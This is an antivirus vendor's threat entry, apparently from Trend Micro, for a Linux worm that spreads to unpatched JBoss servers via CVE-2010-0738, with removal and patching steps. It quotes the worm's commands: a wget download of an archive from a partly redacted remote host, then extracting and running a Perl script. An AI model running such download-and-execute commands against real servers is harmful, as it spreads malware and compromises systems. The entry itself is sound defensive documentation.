Analysis by: Kathleen Notario

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Worm

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

This worm takes advantage of a certain vulnerability to propagate across unpatched JBoss servers.

This worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It takes advantage of software vulnerabilities to propagate across networks.

  TECHNICAL DETAILS

File Size: 4,276 bytes
File Type: Script
Initial Samples Received Date: 28 Oct 2011

Arrival Details

This worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Propagation

This worm takes advantage of the following software vulnerabilities to propagate across networks:

  • CVE-2010-0738

Other Details

More information on this vulnerability can be found below:

NOTES:

It takes advantage of the following vulnerability to propagate across unpatched JBoss servers:

It performs the following:

  • Create a malicious JSP page on vulnerable systems and execute the following commands
    • # wget http://{BLOCKED}tick.{BLOCKED}-remote.com/kisses.tar.gz
    • # tar xzvf kisses.tar.gz
    • # perl linda.pl

  SOLUTION

Minimum Scan Engine: 9.200
FIRST VSAPI PATTERN FILE: 8.530.03
FIRST VSAPI PATTERN DATE: 28 Oct 2011

Step 1

Scan your computer with your Trend Micro product to delete files detected as PERL_IRCBOT.DAZ. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 2

Download and apply these security patches Refrain from using these products until the appropriate patches have been installed. Trend Micro advises users to download critical patches upon release by vendors.


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